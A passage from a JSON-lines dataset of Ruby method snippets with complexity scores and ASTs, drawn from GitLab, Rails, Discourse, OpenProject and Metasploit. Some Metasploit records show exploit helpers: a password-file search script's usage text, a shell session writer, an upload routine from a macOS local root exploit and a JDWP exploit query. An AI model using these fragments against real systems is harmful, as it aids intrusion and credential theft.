win9x\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"\\t=> recursively look for *.PWL files in the user home directory\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\" run search_dwld E:\\\\\\\\ free '.(jpg|png|gif)$'\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"\\t=> recursively look for pictures in the E: drive\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Script\"]},\"Completed\"]}]}]}]}","id":"1cd621e8-f60b-4f35-bf9f-5841784c36dd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/mainframe_shell.rb","start_line":67,"raw_source":"def shell_write(buf)\n    #mfimpl\n    return unless buf\n\n    begin\n      framework.events.on_session_command(self, buf.strip)\n      rstream.write(Rex::Text.to_ibm1047(buf))\n    rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e\n      shell_close\n      raise e\n    end\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"on_session_command\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rstream\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_ibm1047\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"SocketError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IOError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell_close\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}]}","id":"00cd17f2-3be0-4e7f-8b5e-3419347d052e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter_array.rb","start_line":9,"raw_source":"def insert_after(after_value, value)\n      i = index(after_value) || (length - 1)\n\n      insert(i + 1, value)\n    end","complexity_score":8.38,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_after\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"after_value\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index\",{\"type\":\"lvar\",\"children\":[\"after_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"insert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"7d325bad-7607-42ca-bd9f-dbab7a8bc173"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/optimistic_locking.rb","start_line":39,"raw_source":"def log_optimistic_lock_retries(name:, retry_attempts:, start_time:)\n      return unless retry_attempts > 0\n\n      elapsed_time = ::Gitlab::Metrics::System.monotonic_time - start_time\n\n      retry_lock_logger.info(\n        message: \"Optimistic Lock released with retries\",\n        name: name,\n        retries: retry_attempts,\n        time_s: elapsed_time)\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_optimistic_lock_retries\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"retry_attempts\"]},{\"type\":\"kwarg\",\"children\":[\"start_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_attempts\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"elapsed_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_lock_logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Optimistic Lock released with retries\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retries\"]},{\"type\":\"lvar\",\"children\":[\"retry_attempts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_s\"]},{\"type\":\"lvar\",\"children\":[\"elapsed_time\"]}]}]}]}]}]}","id":"eab750be-bcf3-42f4-8458-51975258216e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/lfs_restorer.rb","start_line":50,"raw_source":"def repository_types(oid)\n        # We allow support for imports created before the `lfs-objects.json`\n        # file was generated. In this case, the restorer will link an LFS object\n        # with a single `lfs_objects_projects` relation.\n        #\n        # This allows us backwards-compatibility without version bumping.\n        # See https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/30830#note_192608870\n        return ['project'] unless has_lfs_json?\n\n        lfs_json[oid]\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_types\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_lfs_json?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"project\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_json\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"oid\"]}]}]}]}","id":"ddd06512-a255-42e4-9069-be08535e870a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/reporting/formatter/text.rb","start_line":8,"raw_source":"def calculate_max_col_widths\n          mri = options.mri\n          tz = mri.get_time_zone(Time.zone.name)\n\n          @max_col_width = []\n          unless mri.headers.empty?\n            mri.headers.each_index do |i|\n              @max_col_width[i] = mri.headers[i].to_s.length\n            end\n          end\n          mri.table.data.each do |r|\n            mri.col_formats ||= []                 # Backward compat - create empty array for formats\n            mri.col_order.each_with_index do |f, i|\n              unless [\"<compare>\", \"<drift>\"].include?(mri.db)\n                data = mri.format(f,\n                                  r[f],\n                                  :format => mri.col_formats[i] || :_default_,\n                                  :tz     => tz)\n              else\n                data = r[f].to_s\n              end\n              if !@max_col_width[i] || data.length > @max_col_width[i]\n                @max_col_width[i] = data.length\n              end\n            end\n          end\n        end","complexity_score":64.3,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_max_col_widths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"mri\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"get_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"name\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_col_width\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"headers\"]},\"empty?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"headers\"]},\"each_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_col_width\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"headers\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"to_s\"]},\"length\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"table\"]},\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"col_formats\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"col_order\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"<compare>\"]},{\"type\":\"str\",\"children\":[\"<drift>\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"db\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"f\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"format\",{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"f\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"col_formats\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"sym\",\"children\":[\"_default_\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tz\"]},{\"type\":\"lvar\",\"children\":[\"tz\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_col_width\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_col_width\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_col_width\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},null]}]}]}]}]}]}]}","id":"e721d382-2524-4c4e-9bc4-aba8b3ed79a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/vmware_bash_function_root.rb","start_line":72,"raw_source":"def upload(path, data)\n    print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n    write_file path, data\n    register_file_for_cleanup path\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"' (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" bytes) ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"d53bda25-bb53-4640-8bb6-e5ae75e402b4"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/self_link.rb","start_line":32,"raw_source":"def self.included(base)\n        base.extend ClassMethods\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}","id":"e3959a83-a585-49c1-8ffc-958573b9b61a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb","start_line":304,"raw_source":"def get_version\n    formats = [\n      [\"S\", \"descr\"],\n      [\"I\", \"jdwp_major\"],\n      [\"I\", \"jdwp_minor\"],\n      [\"S\", \"vm_version\"],\n      [\"S\", \"vm_name\"]\n    ]\n    sock.put(create_packet(VERSION_SIG))\n    response = read_reply\n    entries = parse_entries(response, formats, false)\n    entries.each { |e| @vars.merge!(e) }\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formats\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"S\"]},{\"type\":\"str\",\"children\":[\"descr\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"I\"]},{\"type\":\"str\",\"children\":[\"jdwp_major\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"I\"]},{\"type\":\"str\",\"children\":[\"jdwp_minor\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"S\"]},{\"type\":\"str\",\"children\":[\"vm_version\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"S\"]},{\"type\":\"str\",\"children\":[\"vm_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"create_packet\",{\"type\":\"const\",\"children\":[null,\"VERSION_SIG\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"read_reply\"]}]},{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"send\",\"children\":[null,\"parse_entries\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"formats\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vars\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}","id":"6c1960cb-ea2b-4f02-a6fd-08dc25ba0142"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb","start_line":287,"raw_source":"def extract_schema_qualified_name(string)\n            schema, name = string.to_s.scan(/[^`.\\s]+|`[^`]*`/)\n            schema, name = nil, schema unless name\n            [schema, name]\n          end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_schema_qualified_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schema\"]},{\"type\":\"lvasgn\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"to_s\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^`.\\\\s]+|`[^`]*`\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},null,{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schema\"]},{\"type\":\"lvasgn\",\"children\":[\"name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"schema\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"07d70a8e-29a3-4a02-94ee-423a7d551eb2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_mover.rb","start_line":151,"raw_source":"def handle_moved_references\n    move_incoming_emails\n    move_notifications\n    update_reply_counts\n    update_quotes\n    move_first_post_replies\n    delete_post_replies\n    copy_shifted_post_timings_to_temp\n    delete_invalid_post_timings\n    copy_shifted_post_timings_from_temp\n    move_post_timings\n    copy_first_post_timings\n    copy_topic_users\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_moved_references\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"move_incoming_emails\"]},{\"type\":\"send\",\"children\":[null,\"move_notifications\"]},{\"type\":\"send\",\"children\":[null,\"update_reply_counts\"]},{\"type\":\"send\",\"children\":[null,\"update_quotes\"]},{\"type\":\"send\",\"children\":[null,\"move_first_post_replies\"]},{\"type\":\"send\",\"children\":[null,\"delete_post_replies\"]},{\"type\":\"send\",\"children\":[null,\"copy_shifted_post_timings_to_temp\"]},{\"type\":\"send\",\"children\":[null,\"delete_invalid_post_timings\"]},{\"type\":\"send\",\"children\":[null,\"copy_shifted_post_timings_from_temp\"]},{\"type\":\"send\",\"children\":[null,\"move_post_timings\"]},{\"type\":\"send\",\"children\":[null,\"copy_first_post_timings\"]},{\"type\":\"send\",\"children\":[null,\"copy_topic_users\"]}]}]}","id":"11182432-7267-45c8-9e4b-7fc04cf137d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/container_registry_spec.rb","start_line":234,"raw_source":"def visit_container_registry_details(name)\n    visit_container_registry\n    click_link name\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_container_registry_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit_container_registry\"]},{\"type\":\"send\",\"children\":[null,\"click_link\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"32b5a07e-7f59-4080-bc0f-f08ef8e58f8f"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/stats_helper.rb","start_line":96,"raw_source":"def countries_visited(stat)\n    stat.toponyms.count { _1['country'] }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"countries_visited\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"toponyms\"]},\"count\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"str\",\"children\":[\"country\"]}]}]}]}","id":"b7c77a0b-318c-4440-b879-f03e5cf7cee1"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":65,"raw_source":"def downcase(input)\n      Utils.to_s(input).downcase\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"downcase\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_s\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},\"downcase\"]}]}","id":"d133f409-e79f-4194-94ff-dc07ffb8abc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":636,"raw_source":"def card_attributes\n    {\n      'Author' => author.try(:name),\n      'Assignee' => assignee_list\n    }\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"card_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"try\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Assignee\"]},{\"type\":\"send\",\"children\":[null,\"assignee_list\"]}]}]}]}","id":"6e335a63-6554-4730-abf1-af60b93362c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/read_only/controller.rb","start_line":178,"raw_source":"def error_response(status_code, error_message, additional_headers = {})\n          Gitlab::AppLogger.error(error_message)\n\n          if json_request?\n            headers = { 'Content-Type' => APPLICATION_JSON }.merge(additional_headers)\n            [\n              status_code,\n              headers,\n              [{ 'message' => error_message }.to_json]\n            ]\n          else\n            rack_flash.alert = error_message\n            rack_session['flash'] = rack_flash.to_session_value\n            [\n              301,\n              { 'Location' => last_visited_url },\n              []\n            ]\n          end\n        end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"error_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status_code\"]},{\"type\":\"arg\",\"children\":[\"error_message\"]},{\"type\":\"optarg\",\"children\":[\"additional_headers\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"error_message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_request?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"const\",\"children\":[null,\"APPLICATION_JSON\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"additional_headers\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_code\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]},\"to_json\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rack_flash\"]},\"alert=\",{\"type\":\"lvar\",\"children\":[\"error_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rack_session\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"flash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rack_flash\"]},\"to_session_value\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[301]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Location\"]},{\"type\":\"send\",\"children\":[null,\"last_visited_url\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"d8843c30-9790-4f99-a10e-0751a1128a2d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/watcher.rb","start_line":131,"raw_source":"def watchers_of_watchable(watchable, projects, user_ids)\n      # By using\n      #   where(projects: { id: project.id }\n      # instead of\n      #   where(projects_id: project.id)\n      # we don't have to distinguish between project associations with\n      # project_id on the watchable class and those on a class associated to\n      # the watchable class (using :through).\n      id_subquery = watchable\n                    .joins(:watchers)\n                    .joins(:project)\n                    .where(projects: { id: projects.map(&:id) })\n                    .select(\"watchers.id\")\n\n      id_subquery = id_subquery.where(watchers: { user_id: user_ids }) unless user_ids.empty?\n\n      where(id: id_subquery)\n    end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"watchers_of_watchable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"watchable\"]},{\"type\":\"arg\",\"children\":[\"projects\"]},{\"type\":\"arg\",\"children\":[\"user_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id_subquery\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"watchable\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"watchers\"]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"watchers.id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"empty?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"id_subquery\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_subquery\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"watchers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]